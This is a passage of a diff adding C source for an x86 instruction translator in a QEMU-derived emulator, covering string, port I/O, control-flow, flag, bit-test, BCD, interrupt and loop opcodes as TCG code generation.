+ case 0xa4: /* movsS */ + case 0xa5: + ot = mo_b_d(b, dflag); + if (prefixes & (PREFIX_REPZ | PREFIX_REPNZ)) { + gen_repz_movs(s, ot, pc_start - s->cs_base, s->pc - s->cs_base); + } else { + gen_movs(s, ot); + } + break; + + case 0xaa: /* stosS */ + case 0xab: + ot = mo_b_d(b, dflag); + if (prefixes & (PREFIX_REPZ | PREFIX_REPNZ)) { + gen_repz_stos(s, ot, pc_start - s->cs_base, s->pc - s->cs_base); + } else { + gen_stos(s, ot); + } + break; + case 0xac: /* lodsS */ + case 0xad: + ot = mo_b_d(b, dflag); + if (prefixes & (PREFIX_REPZ | PREFIX_REPNZ)) { + gen_repz_lods(s, ot, pc_start - s->cs_base, s->pc - s->cs_base); + } else { + gen_lods(s, ot); + } + break; + case 0xae: /* scasS */ + case 0xaf: + ot = mo_b_d(b, dflag); + if (prefixes & PREFIX_REPNZ) { + gen_repz_scas(s, ot, pc_start - s->cs_base, s->pc - s->cs_base, 1); + } else if (prefixes & PREFIX_REPZ) { + gen_repz_scas(s, ot, pc_start - s->cs_base, s->pc - s->cs_base, 0); + } else { + gen_scas(s, ot); + } + break; + + case 0xa6: /* cmpsS */ + case 0xa7: + ot = mo_b_d(b, dflag); + if (prefixes & PREFIX_REPNZ) { + gen_repz_cmps(s, ot, pc_start - s->cs_base, s->pc - s->cs_base, 1); + } else if (prefixes & PREFIX_REPZ) { + gen_repz_cmps(s, ot, pc_start - s->cs_base, s->pc - s->cs_base, 0); + } else { + gen_cmps(s, ot); + } + break; + case 0x6c: /* insS */ // qq + case 0x6d: + ot = mo_b_d32(b, dflag); + tcg_gen_ext16u_tl(tcg_ctx, *cpu_T[0], *cpu_regs[R_EDX]); + gen_check_io(s, ot, pc_start - s->cs_base, + SVM_IOIO_TYPE_MASK | svm_is_rep(prefixes) | 4); + if (prefixes & (PREFIX_REPZ | PREFIX_REPNZ)) { + gen_repz_ins(s, ot, pc_start - s->cs_base, s->pc - s->cs_base); + } else { + gen_ins(s, ot); + } + break; + case 0x6e: /* outsS */ // qq + case 0x6f: + ot = mo_b_d32(b, dflag); + tcg_gen_ext16u_tl(tcg_ctx, *cpu_T[0], *cpu_regs[R_EDX]); + gen_check_io(s, ot, pc_start - s->cs_base, + svm_is_rep(prefixes) | 4); + if (prefixes & (PREFIX_REPZ | PREFIX_REPNZ)) { + gen_repz_outs(s, ot, pc_start - s->cs_base, s->pc - s->cs_base); + } else { + gen_outs(s, ot); + } + break; + + /************************/ + /* port I/O */ + + case 0xe4: // in + case 0xe5: // out + ot = mo_b_d32(b, dflag); + val = cpu_ldub_code(env, s->pc++); + tcg_gen_movi_tl(tcg_ctx, *cpu_T[0], val); + gen_check_io(s, ot, pc_start - s->cs_base, + SVM_IOIO_TYPE_MASK | svm_is_rep(prefixes)); + tcg_gen_movi_i32(tcg_ctx, cpu_tmp2_i32, val); + gen_helper_in_func(tcg_ctx, ot, *cpu_T[1], cpu_tmp2_i32); + gen_op_mov_reg_v(tcg_ctx, ot, R_EAX, *cpu_T[1]); + break; + case 0xe6: + case 0xe7: + ot = mo_b_d32(b, dflag); + val = cpu_ldub_code(env, s->pc++); + tcg_gen_movi_tl(tcg_ctx, *cpu_T[0], val); + gen_check_io(s, ot, pc_start - s->cs_base, + svm_is_rep(prefixes)); + gen_op_mov_v_reg(tcg_ctx, ot, *cpu_T[1], R_EAX); + + tcg_gen_movi_i32(tcg_ctx, cpu_tmp2_i32, val); + tcg_gen_trunc_tl_i32(tcg_ctx, cpu_tmp3_i32, *cpu_T[1]); + gen_helper_out_func(tcg_ctx, ot, cpu_tmp2_i32, cpu_tmp3_i32); + break; + case 0xec: + case 0xed: + ot = mo_b_d32(b, dflag); + tcg_gen_ext16u_tl(tcg_ctx, *cpu_T[0], *cpu_regs[R_EDX]); + gen_check_io(s, ot, pc_start - s->cs_base, + SVM_IOIO_TYPE_MASK | svm_is_rep(prefixes)); + tcg_gen_trunc_tl_i32(tcg_ctx, cpu_tmp2_i32, *cpu_T[0]); + gen_helper_in_func(tcg_ctx, ot, *cpu_T[1], cpu_tmp2_i32); + gen_op_mov_reg_v(tcg_ctx, ot, R_EAX, *cpu_T[1]); + break; + case 0xee: + case 0xef: + ot = mo_b_d32(b, dflag); + tcg_gen_ext16u_tl(tcg_ctx, *cpu_T[0], *cpu_regs[R_EDX]); + gen_check_io(s, ot, pc_start - s->cs_base, + svm_is_rep(prefixes)); + gen_op_mov_v_reg(tcg_ctx, ot, *cpu_T[1], R_EAX); + + tcg_gen_trunc_tl_i32(tcg_ctx, cpu_tmp2_i32, *cpu_T[0]); + tcg_gen_trunc_tl_i32(tcg_ctx, cpu_tmp3_i32, *cpu_T[1]); + gen_helper_out_func(tcg_ctx, ot, cpu_tmp2_i32, cpu_tmp3_i32); + break; + + /************************/ + /* control */ + case 0xc2: /* ret im */ + val = cpu_ldsw_code(env, s->pc); + s->pc += 2; + ot = gen_pop_T0(s); + gen_stack_update(s, val + (1 << ot)); + /* Note that gen_pop_T0 uses a zero-extending load. */ + gen_op_jmp_v(tcg_ctx, *cpu_T[0]); + gen_eob(s); + break; + case 0xc3: /* ret */ + ot = gen_pop_T0(s); + gen_pop_update(s, ot); + /* Note that gen_pop_T0 uses a zero-extending load. */ + gen_op_jmp_v(tcg_ctx, *cpu_T[0]); + gen_eob(s); + break; + case 0xca: /* lret im */ + val = cpu_ldsw_code(env, s->pc); + s->pc += 2; + do_lret: + if (s->pe && !s->vm86) { + gen_update_cc_op(s); + gen_jmp_im(s, pc_start - s->cs_base); + gen_helper_lret_protected(tcg_ctx, cpu_env, tcg_const_i32(tcg_ctx, dflag - 1), + tcg_const_i32(tcg_ctx, val)); + } else { + gen_stack_A0(s); + /* pop offset */ + gen_op_ld_v(s, dflag, *cpu_T[0], cpu_A0); + /* NOTE: keeping EIP updated is not a problem in case of + exception */ + gen_op_jmp_v(tcg_ctx, *cpu_T[0]); + /* pop selector */ + gen_op_addl_A0_im(tcg_ctx, 1 << dflag); + gen_op_ld_v(s, dflag, *cpu_T[0], cpu_A0); + gen_op_movl_seg_T0_vm(tcg_ctx, R_CS); + /* add stack offset */ + gen_stack_update(s, val + (2 << dflag)); + } + gen_eob(s); + break; + case 0xcb: /* lret */ + val = 0; + goto do_lret; + case 0xcf: /* iret */ + gen_svm_check_intercept(s, pc_start, SVM_EXIT_IRET); + if (!s->pe) { + /* real mode */ + gen_helper_iret_real(tcg_ctx, cpu_env, tcg_const_i32(tcg_ctx, dflag - 1)); + set_cc_op(s, CC_OP_EFLAGS); + } else if (s->vm86) { + if (s->iopl != 3) { + gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base); + } else { + gen_helper_iret_real(tcg_ctx, cpu_env, tcg_const_i32(tcg_ctx, dflag - 1)); + set_cc_op(s, CC_OP_EFLAGS); + } + } else { + gen_update_cc_op(s); + gen_jmp_im(s, pc_start - s->cs_base); + gen_helper_iret_protected(tcg_ctx, cpu_env, tcg_const_i32(tcg_ctx, dflag - 1), + tcg_const_i32(tcg_ctx, s->pc - s->cs_base)); + set_cc_op(s, CC_OP_EFLAGS); + } + gen_eob(s); + break; + case 0xe8: /* call im */ + { + if (dflag != MO_16) { + tval = (int32_t)insn_get(env, s, MO_32); + } else { + tval = (int16_t)insn_get(env, s, MO_16); + } + next_eip = s->pc - s->cs_base; + tval += next_eip; + if (dflag == MO_16) { + tval &= 0xffff; + } else if (!CODE64(s)) { + tval &= 0xffffffff; + } + tcg_gen_movi_tl(tcg_ctx, *cpu_T[0], next_eip); + gen_push_v(s, *cpu_T[0]); + gen_jmp(s, tval); + } + break; + case 0x9a: /* lcall im */ + { + unsigned int selector, offset; + + if (CODE64(s)) + goto illegal_op; + ot = dflag; + offset = insn_get(env, s, ot); + selector = insn_get(env, s, MO_16); + + tcg_gen_movi_tl(tcg_ctx, *cpu_T[0], selector); + tcg_gen_movi_tl(tcg_ctx, *cpu_T[1], offset); + } + goto do_lcall; + case 0xe9: /* jmp im */ + if (dflag != MO_16) { + tval = (int32_t)insn_get(env, s, MO_32); + } else { + tval = (int16_t)insn_get(env, s, MO_16); + } + tval += s->pc - s->cs_base; + if (dflag == MO_16) { + tval &= 0xffff; + } else if (!CODE64(s)) { + tval &= 0xffffffff; + } + gen_jmp(s, tval); + break; + case 0xea: /* ljmp im */ + { + unsigned int selector, offset; + + if (CODE64(s)) + goto illegal_op; + ot = dflag; + offset = insn_get(env, s, ot); + selector = insn_get(env, s, MO_16); + + tcg_gen_movi_tl(tcg_ctx, *cpu_T[0], selector); + tcg_gen_movi_tl(tcg_ctx, *cpu_T[1], offset); + } + goto do_ljmp; + case 0xeb: /* jmp Jb */ + tval = (int8_t)insn_get(env, s, MO_8); + tval += s->pc - s->cs_base; + if (dflag == MO_16) { + tval &= 0xffff; + } + gen_jmp(s, tval); + break; + //case 0x70 ... 0x7f: /* jcc Jb */ + case 0x70: case 0x71: case 0x72: case 0x73: case 0x74: case 0x75: case 0x76: case 0x77: + case 0x78: case 0x79: case 0x7a: case 0x7b: case 0x7c: case 0x7d: case 0x7e: case 0x7f: + tval = (int8_t)insn_get(env, s, MO_8); + goto do_jcc; + //case 0x180 ... 0x18f: /* jcc Jv */ + case 0x180: case 0x181: case 0x182: case 0x183: case 0x184: case 0x185: case 0x186: case 0x187: + case 0x188: case 0x189: case 0x18a: case 0x18b: case 0x18c: case 0x18d: case 0x18e: case 0x18f: + if (dflag != MO_16) { + tval = (int32_t)insn_get(env, s, MO_32); + } else { + tval = (int16_t)insn_get(env, s, MO_16); + } + do_jcc: + next_eip = s->pc - s->cs_base; + tval += next_eip; + if (dflag == MO_16) { + tval &= 0xffff; + } + gen_jcc(s, b, tval, next_eip); + break; + + //case 0x190 ... 0x19f: /* setcc Gv */ + case 0x190: case 0x191: case 0x192: case 0x193: case 0x194: case 0x195: case 0x196: case 0x197: + case 0x198: case 0x199: case 0x19a: case 0x19b: case 0x19c: case 0x19d: case 0x19e: case 0x19f: + modrm = cpu_ldub_code(env, s->pc++); + gen_setcc1(s, b, *cpu_T[0]); + gen_ldst_modrm(env, s, modrm, MO_8, OR_TMP0, 1); + break; + //case 0x140 ... 0x14f: /* cmov Gv, Ev */ + case 0x140: case 0x141: case 0x142: case 0x143: case 0x144: case 0x145: case 0x146: case 0x147: + case 0x148: case 0x149: case 0x14a: case 0x14b: case 0x14c: case 0x14d: case 0x14e: case 0x14f: + if (!(s->cpuid_features & CPUID_CMOV)) { + goto illegal_op; + } + ot = dflag; + modrm = cpu_ldub_code(env, s->pc++); + reg = ((modrm >> 3) & 7) | rex_r; + gen_cmovcc1(env, s, ot, b, modrm, reg); + break; + + /************************/ + /* flags */ + case 0x9c: /* pushf */ + gen_svm_check_intercept(s, pc_start, SVM_EXIT_PUSHF); + if (s->vm86 && s->iopl != 3) { + gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base); + } else { + gen_update_cc_op(s); + gen_helper_read_eflags(tcg_ctx, *cpu_T[0], cpu_env); + gen_push_v(s, *cpu_T[0]); + } + break; + case 0x9d: /* popf */ + gen_svm_check_intercept(s, pc_start, SVM_EXIT_POPF); + if (s->vm86 && s->iopl != 3) { + gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base); + } else { + ot = gen_pop_T0(s); + if (s->cpl == 0) { + if (dflag != MO_16) { + gen_helper_write_eflags(tcg_ctx, cpu_env, *cpu_T[0], + tcg_const_i32(tcg_ctx, (TF_MASK | AC_MASK | + ID_MASK | NT_MASK | + IF_MASK | + IOPL_MASK))); + } else { + gen_helper_write_eflags(tcg_ctx, cpu_env, *cpu_T[0], + tcg_const_i32(tcg_ctx, (TF_MASK | AC_MASK | + ID_MASK | NT_MASK | + IF_MASK | IOPL_MASK) + & 0xffff)); + } + } else { + if (s->cpl <= s->iopl) { + if (dflag != MO_16) { + gen_helper_write_eflags(tcg_ctx, cpu_env, *cpu_T[0], + tcg_const_i32(tcg_ctx, (TF_MASK | + AC_MASK | + ID_MASK | + NT_MASK | + IF_MASK))); + } else { + gen_helper_write_eflags(tcg_ctx, cpu_env, *cpu_T[0], + tcg_const_i32(tcg_ctx, (TF_MASK | + AC_MASK | + ID_MASK | + NT_MASK | + IF_MASK) + & 0xffff)); + } + } else { + if (dflag != MO_16) { + gen_helper_write_eflags(tcg_ctx, cpu_env, *cpu_T[0], + tcg_const_i32(tcg_ctx, (TF_MASK | AC_MASK | + ID_MASK | NT_MASK))); + } else { + gen_helper_write_eflags(tcg_ctx, cpu_env, *cpu_T[0], + tcg_const_i32(tcg_ctx, (TF_MASK | AC_MASK | + ID_MASK | NT_MASK) + & 0xffff)); + } + } + } + gen_pop_update(s, ot); + set_cc_op(s, CC_OP_EFLAGS); + /* abort translation because TF/AC flag may change */ + gen_jmp_im(s, s->pc - s->cs_base); + gen_eob(s); + } + break; + case 0x9e: /* sahf */ + if (CODE64(s) && !(s->cpuid_ext3_features & CPUID_EXT3_LAHF_LM)) + goto illegal_op; + gen_op_mov_v_reg(tcg_ctx, MO_8, *cpu_T[0], R_AH); + gen_compute_eflags(s); + tcg_gen_andi_tl(tcg_ctx, cpu_cc_src, cpu_cc_src, CC_O); + tcg_gen_andi_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], CC_S | CC_Z | CC_A | CC_P | CC_C); + tcg_gen_or_tl(tcg_ctx, cpu_cc_src, cpu_cc_src, *cpu_T[0]); + break; + case 0x9f: /* lahf */ + if (CODE64(s) && !(s->cpuid_ext3_features & CPUID_EXT3_LAHF_LM)) + goto illegal_op; + gen_compute_eflags(s); + /* Note: gen_compute_eflags() only gives the condition codes */ + tcg_gen_ori_tl(tcg_ctx, *cpu_T[0], cpu_cc_src, 0x02); + gen_op_mov_reg_v(tcg_ctx, MO_8, R_AH, *cpu_T[0]); + break; + case 0xf5: /* cmc */ + gen_compute_eflags(s); + tcg_gen_xori_tl(tcg_ctx, cpu_cc_src, cpu_cc_src, CC_C); + break; + case 0xf8: /* clc */ + gen_compute_eflags(s); + tcg_gen_andi_tl(tcg_ctx, cpu_cc_src, cpu_cc_src, ~CC_C); + break; + case 0xf9: /* stc */ + gen_compute_eflags(s); + tcg_gen_ori_tl(tcg_ctx, cpu_cc_src, cpu_cc_src, CC_C); + break; + case 0xfc: /* cld */ + tcg_gen_movi_i32(tcg_ctx, cpu_tmp2_i32, 1); + tcg_gen_st_i32(tcg_ctx, cpu_tmp2_i32, cpu_env, offsetof(CPUX86State, df)); + break; + case 0xfd: /* std */ + tcg_gen_movi_i32(tcg_ctx, cpu_tmp2_i32, -1); + tcg_gen_st_i32(tcg_ctx, cpu_tmp2_i32, cpu_env, offsetof(CPUX86State, df)); + break; + + /************************/ + /* bit operations */ + case 0x1ba: /* bt/bts/btr/btc Gv, im */ + ot = dflag; + modrm = cpu_ldub_code(env, s->pc++); + op = (modrm >> 3) & 7; + mod = (modrm >> 6) & 3; + rm = (modrm & 7) | REX_B(s); + if (mod != 3) { + s->rip_offset = 1; + gen_lea_modrm(env, s, modrm); + gen_op_ld_v(s, ot, *cpu_T[0], cpu_A0); + } else { + gen_op_mov_v_reg(tcg_ctx, ot, *cpu_T[0], rm); + } + /* load shift */ + val = cpu_ldub_code(env, s->pc++); + tcg_gen_movi_tl(tcg_ctx, *cpu_T[1], val); + if (op < 4) + goto illegal_op; + op -= 4; + goto bt_op; + case 0x1a3: /* bt Gv, Ev */ + op = 0; + goto do_btx; + case 0x1ab: /* bts */ + op = 1; + goto do_btx; + case 0x1b3: /* btr */ + op = 2; + goto do_btx; + case 0x1bb: /* btc */ + op = 3; + do_btx: + ot = dflag; + modrm = cpu_ldub_code(env, s->pc++); + reg = ((modrm >> 3) & 7) | rex_r; + mod = (modrm >> 6) & 3; + rm = (modrm & 7) | REX_B(s); + gen_op_mov_v_reg(tcg_ctx, MO_32, *cpu_T[1], reg); + if (mod != 3) { + gen_lea_modrm(env, s, modrm); + /* specific case: we need to add a displacement */ + gen_exts(tcg_ctx, ot, *cpu_T[1]); + tcg_gen_sari_tl(tcg_ctx, cpu_tmp0, *cpu_T[1], 3 + ot); + tcg_gen_shli_tl(tcg_ctx, cpu_tmp0, cpu_tmp0, ot); + tcg_gen_add_tl(tcg_ctx, cpu_A0, cpu_A0, cpu_tmp0); + gen_op_ld_v(s, ot, *cpu_T[0], cpu_A0); + } else { + gen_op_mov_v_reg(tcg_ctx, ot, *cpu_T[0], rm); + } + bt_op: + tcg_gen_andi_tl(tcg_ctx, *cpu_T[1], *cpu_T[1], (1 << (3 + ot)) - 1); + tcg_gen_shr_tl(tcg_ctx, cpu_tmp4, *cpu_T[0], *cpu_T[1]); + switch(op) { + case 0: + break; + case 1: + tcg_gen_movi_tl(tcg_ctx, cpu_tmp0, 1); + tcg_gen_shl_tl(tcg_ctx, cpu_tmp0, cpu_tmp0, *cpu_T[1]); + tcg_gen_or_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], cpu_tmp0); + break; + case 2: + tcg_gen_movi_tl(tcg_ctx, cpu_tmp0, 1); + tcg_gen_shl_tl(tcg_ctx, cpu_tmp0, cpu_tmp0, *cpu_T[1]); + tcg_gen_andc_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], cpu_tmp0); + break; + default: + case 3: + tcg_gen_movi_tl(tcg_ctx, cpu_tmp0, 1); + tcg_gen_shl_tl(tcg_ctx, cpu_tmp0, cpu_tmp0, *cpu_T[1]); + tcg_gen_xor_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], cpu_tmp0); + break; + } + if (op != 0) { + if (mod != 3) { + gen_op_st_v(s, ot, *cpu_T[0], cpu_A0); + } else { + gen_op_mov_reg_v(tcg_ctx, ot, rm, *cpu_T[0]); + } + } + + /* Delay all CC updates until after the store above. Note that + C is the result of the test, Z is unchanged, and the others + are all undefined. */ + switch (s->cc_op) { + case CC_OP_MULB: case CC_OP_MULW: case CC_OP_MULL: case CC_OP_MULQ: //case CC_OP_MULB ... CC_OP_MULQ: + case CC_OP_ADDB: case CC_OP_ADDW: case CC_OP_ADDL: case CC_OP_ADDQ: //case CC_OP_ADDB ... CC_OP_ADDQ: + case CC_OP_ADCB: case CC_OP_ADCW: case CC_OP_ADCL: case CC_OP_ADCQ: //case CC_OP_ADCB ... CC_OP_ADCQ: + case CC_OP_SUBB: case CC_OP_SUBW: case CC_OP_SUBL: case CC_OP_SUBQ: //case CC_OP_SUBB ... CC_OP_SUBQ: + case CC_OP_SBBB: case CC_OP_SBBW: case CC_OP_SBBL: case CC_OP_SBBQ: //case CC_OP_SBBB ... CC_OP_SBBQ: + case CC_OP_LOGICB: case CC_OP_LOGICW: case CC_OP_LOGICL: case CC_OP_LOGICQ: //case CC_OP_LOGICB ... CC_OP_LOGICQ: + case CC_OP_INCB: case CC_OP_INCW: case CC_OP_INCL: case CC_OP_INCQ: //case CC_OP_INCB ... CC_OP_INCQ: + case CC_OP_DECB: case CC_OP_DECW: case CC_OP_DECL: case CC_OP_DECQ: //case CC_OP_DECB ... CC_OP_DECQ: + case CC_OP_SHLB: case CC_OP_SHLW: case CC_OP_SHLL: case CC_OP_SHLQ: //case CC_OP_SHLB ... CC_OP_SHLQ: + case CC_OP_SARB: case CC_OP_SARW: case CC_OP_SARL: case CC_OP_SARQ: //case CC_OP_SARB ... CC_OP_SARQ: + case CC_OP_BMILGB: case CC_OP_BMILGW: case CC_OP_BMILGL: case CC_OP_BMILGQ: //case CC_OP_BMILGB ... CC_OP_BMILGQ: + /* Z was going to be computed from the non-zero status of CC_DST. + We can get that same Z value (and the new C value) by leaving + CC_DST alone, setting CC_SRC, and using a CC_OP_SAR of the + same width. */ + tcg_gen_mov_tl(tcg_ctx, cpu_cc_src, cpu_tmp4); + set_cc_op(s, ((s->cc_op - CC_OP_MULB) & 3) + CC_OP_SARB); + break; + default: + /* Otherwise, generate EFLAGS and replace the C bit. */ + gen_compute_eflags(s); + tcg_gen_deposit_tl(tcg_ctx, cpu_cc_src, cpu_cc_src, cpu_tmp4, + ctz32(CC_C), 1); + break; + } + break; + case 0x1bc: /* bsf / tzcnt */ + case 0x1bd: /* bsr / lzcnt */ + ot = dflag; + modrm = cpu_ldub_code(env, s->pc++); + reg = ((modrm >> 3) & 7) | rex_r; + gen_ldst_modrm(env, s, modrm, ot, OR_TMP0, 0); + gen_extu(tcg_ctx, ot, *cpu_T[0]); + + /* Note that lzcnt and tzcnt are in different extensions. */ + if ((prefixes & PREFIX_REPZ) + && (b & 1 + ? s->cpuid_ext3_features & CPUID_EXT3_ABM + : s->cpuid_7_0_ebx_features & CPUID_7_0_EBX_BMI1)) { + int size = 8 << ot; + tcg_gen_mov_tl(tcg_ctx, cpu_cc_src, *cpu_T[0]); + if (b & 1) { + /* For lzcnt, reduce the target_ulong result by the + number of zeros that we expect to find at the top. */ + gen_helper_clz(tcg_ctx, *cpu_T[0], *cpu_T[0]); + tcg_gen_subi_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], TARGET_LONG_BITS - size); + } else { + /* For tzcnt, a zero input must return the operand size: + force all bits outside the operand size to 1. */ + target_ulong mask = (target_ulong)-2 << (size - 1); + tcg_gen_ori_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], mask); + gen_helper_ctz(tcg_ctx, *cpu_T[0], *cpu_T[0]); + } + /* For lzcnt/tzcnt, C and Z bits are defined and are + related to the result. */ + gen_op_update1_cc(tcg_ctx); + set_cc_op(s, CC_OP_BMILGB + ot); + } else { + /* For bsr/bsf, only the Z bit is defined and it is related + to the input and not the result. */ + tcg_gen_mov_tl(tcg_ctx, cpu_cc_dst, *cpu_T[0]); + set_cc_op(s, CC_OP_LOGICB + ot); + if (b & 1) { + /* For bsr, return the bit index of the first 1 bit, + not the count of leading zeros. */ + gen_helper_clz(tcg_ctx, *cpu_T[0], *cpu_T[0]); + tcg_gen_xori_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], TARGET_LONG_BITS - 1); + } else { + gen_helper_ctz(tcg_ctx, *cpu_T[0], *cpu_T[0]); + } + /* ??? The manual says that the output is undefined when the + input is zero, but real hardware leaves it unchanged, and + real programs appear to depend on that. */ + tcg_gen_movi_tl(tcg_ctx, cpu_tmp0, 0); + tcg_gen_movcond_tl(tcg_ctx, TCG_COND_EQ, *cpu_T[0], cpu_cc_dst, cpu_tmp0, + *cpu_regs[reg], *cpu_T[0]); + } + gen_op_mov_reg_v(tcg_ctx, ot, reg, *cpu_T[0]); + break; + /************************/ + /* bcd */ + case 0x27: /* daa */ + if (CODE64(s)) + goto illegal_op; + gen_update_cc_op(s); + gen_helper_daa(tcg_ctx, cpu_env); + set_cc_op(s, CC_OP_EFLAGS); + break; + case 0x2f: /* das */ + if (CODE64(s)) + goto illegal_op; + gen_update_cc_op(s); + gen_helper_das(tcg_ctx, cpu_env); + set_cc_op(s, CC_OP_EFLAGS); + break; + case 0x37: /* aaa */ + if (CODE64(s)) + goto illegal_op; + gen_update_cc_op(s); + gen_helper_aaa(tcg_ctx, cpu_env); + set_cc_op(s, CC_OP_EFLAGS); + break; + case 0x3f: /* aas */ + if (CODE64(s)) + goto illegal_op; + gen_update_cc_op(s); + gen_helper_aas(tcg_ctx, cpu_env); + set_cc_op(s, CC_OP_EFLAGS); + break; + case 0xd4: /* aam */ + if (CODE64(s)) + goto illegal_op; + val = cpu_ldub_code(env, s->pc++); + if (val == 0) { + gen_exception(s, EXCP00_DIVZ, pc_start - s->cs_base); + } else { + gen_helper_aam(tcg_ctx, cpu_env, tcg_const_i32(tcg_ctx, val)); + set_cc_op(s, CC_OP_LOGICB); + } + break; + case 0xd5: /* aad */ + if (CODE64(s)) + goto illegal_op; + val = cpu_ldub_code(env, s->pc++); + gen_helper_aad(tcg_ctx, cpu_env, tcg_const_i32(tcg_ctx, val)); + set_cc_op(s, CC_OP_LOGICB); + break; + /************************/ + /* misc */ + case 0x90: /* nop */ + /* XXX: correct lock test for all insn */ + if (prefixes & PREFIX_LOCK) { + goto illegal_op; + } + /* If REX_B is set, then this is xchg eax, r8d, not a nop. */ + if (REX_B(s)) { + goto do_xchg_reg_eax; + } + if (prefixes & PREFIX_REPZ) { + gen_update_cc_op(s); + gen_jmp_im(s, pc_start - s->cs_base); + gen_helper_pause(tcg_ctx, cpu_env, tcg_const_i32(tcg_ctx, s->pc - pc_start)); + s->is_jmp = DISAS_TB_JUMP; + } + break; + case 0x9b: /* fwait */ + if ((s->flags & (HF_MP_MASK | HF_TS_MASK)) == + (HF_MP_MASK | HF_TS_MASK)) { + gen_exception(s, EXCP07_PREX, pc_start - s->cs_base); + } else { + gen_update_cc_op(s); + gen_jmp_im(s, pc_start - s->cs_base); + gen_helper_fwait(tcg_ctx, cpu_env); + } + break; + case 0xcc: /* int3 */ + gen_interrupt(s, EXCP03_INT3, pc_start - s->cs_base, s->pc - s->cs_base); + break; + case 0xcd: /* int N */ + val = cpu_ldub_code(env, s->pc++); + if (s->vm86 && s->iopl != 3) { + gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base); + } else { + gen_interrupt(s, val, pc_start - s->cs_base, s->pc - s->cs_base); + } + break; + case 0xce: /* into */ + if (CODE64(s)) + goto illegal_op; + gen_update_cc_op(s); + gen_jmp_im(s, pc_start - s->cs_base); + gen_helper_into(tcg_ctx, cpu_env, tcg_const_i32(tcg_ctx, s->pc - pc_start)); + break; +#ifdef WANT_ICEBP + case 0xf1: /* icebp (undocumented, exits to external debugger) */ + gen_svm_check_intercept(s, pc_start, SVM_EXIT_ICEBP); +#if 1 + gen_debug(s, pc_start - s->cs_base); +#else + /* start debug */ + tb_flush(env); + qemu_set_log(CPU_LOG_INT | CPU_LOG_TB_IN_ASM); +#endif + break; +#endif + case 0xfa: /* cli */ + if (!s->vm86) { + if (s->cpl <= s->iopl) { + gen_helper_cli(tcg_ctx, cpu_env); + } else { + gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base); + } + } else { + if (s->iopl == 3) { + gen_helper_cli(tcg_ctx, cpu_env); + } else { + gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base); + } + } + break; + case 0xfb: /* sti */ + if (!s->vm86) { + if (s->cpl <= s->iopl) { + gen_sti: + gen_helper_sti(tcg_ctx, cpu_env); + /* interruptions are enabled only the first insn after sti */ + /* If several instructions disable interrupts, only the + _first_ does it */ + if (!(s->tb->flags & HF_INHIBIT_IRQ_MASK)) + gen_helper_set_inhibit_irq(tcg_ctx, cpu_env); + /* give a chance to handle pending irqs */ + gen_jmp_im(s, s->pc - s->cs_base); + gen_eob(s); + } else { + gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base); + } + } else { + if (s->iopl == 3) { + goto gen_sti; + } else { + gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base); + } + } + break; + case 0x62: /* bound */ + if (CODE64(s)) + goto illegal_op; + ot = dflag; + modrm = cpu_ldub_code(env, s->pc++); + reg = (modrm >> 3) & 7; + mod = (modrm >> 6) & 3; + if (mod == 3) + goto illegal_op; + gen_op_mov_v_reg(tcg_ctx, ot, *cpu_T[0], reg); + gen_lea_modrm(env, s, modrm); + gen_jmp_im(s, pc_start - s->cs_base); + tcg_gen_trunc_tl_i32(tcg_ctx, cpu_tmp2_i32, *cpu_T[0]); + if (ot == MO_16) { + gen_helper_boundw(tcg_ctx, cpu_env, cpu_A0, cpu_tmp2_i32); + } else { + gen_helper_boundl(tcg_ctx, cpu_env, cpu_A0, cpu_tmp2_i32); + } + break; + case 0x1c8: case 0x1c9: case 0x1ca: case 0x1cb: + case 0x1cc: case 0x1cd: case 0x1ce: case 0x1cf: /* bswap reg */ + reg = (b & 7) | REX_B(s); +#ifdef TARGET_X86_64 + if (dflag == MO_64) { + gen_op_mov_v_reg(tcg_ctx, MO_64, *cpu_T[0], reg); + tcg_gen_bswap64_i64(tcg_ctx, *cpu_T[0], *cpu_T[0]); + gen_op_mov_reg_v(tcg_ctx, MO_64, reg, *cpu_T[0]); + } else +#endif + { + gen_op_mov_v_reg(tcg_ctx, MO_32, *cpu_T[0], reg); + tcg_gen_ext32u_tl(tcg_ctx, *cpu_T[0], *cpu_T[0]); + tcg_gen_bswap32_tl(tcg_ctx, *cpu_T[0], *cpu_T[0]); + gen_op_mov_reg_v(tcg_ctx, MO_32, reg, *cpu_T[0]); + } + break; + case 0xd6: /* salc */ + if (CODE64(s)) + goto illegal_op; + gen_compute_eflags_c(s, *cpu_T[0]); + tcg_gen_neg_tl(tcg_ctx, *cpu_T[0], *cpu_T[0]); + gen_op_mov_reg_v(tcg_ctx, MO_8, R_EAX, *cpu_T[0]); + break; + case 0xe0: /* loopnz */ + case 0xe1: /* loopz */ + case 0xe2: /* loop */ + case 0xe3: /* jecxz */ + { + int l1, l2, l3; + + tval = (int8_t)insn_get(env, s, MO_8); + next_eip = s->pc - s->cs_base; + tval += next_eip; + if (dflag == MO_16) { + tval &= 0xffff; + } + + l1 = gen_new_label(tcg_ctx); + l2 = gen_new_label(tcg_ctx); + l3 = gen_new_label(tcg_ctx); + b &= 3; + switch(b) { + case 0: /* loopnz */ + case 1: /* loopz */ + gen_op_add_reg_im(tcg_ctx, s->aflag, R_ECX, -1); + gen_op_jz_ecx(tcg_ctx, s->aflag, l3); + gen_jcc1(s, (JCC_Z << 1) | (b ^ 1), l1); + break; + case 2: /* loop */ + gen_op_add_reg_im(tcg_ctx, s->aflag, R_ECX, -1); + gen_op_jnz_ecx(tcg_ctx, s->aflag, l1); + break; + default: + case 3: /* jcxz */ + gen_op_jz_ecx(tcg_ctx, s->aflag, l1); + break; + } + + gen_set_label(tcg_ctx, l3); + gen_jmp_im(s, next_eip); + tcg_gen_br(tcg_ctx, l2); + + gen_set_label(tcg_ctx, l1); + gen_jmp_im(s, tval); + gen_set_label(tcg_ctx, l2); + gen_eob(s); + 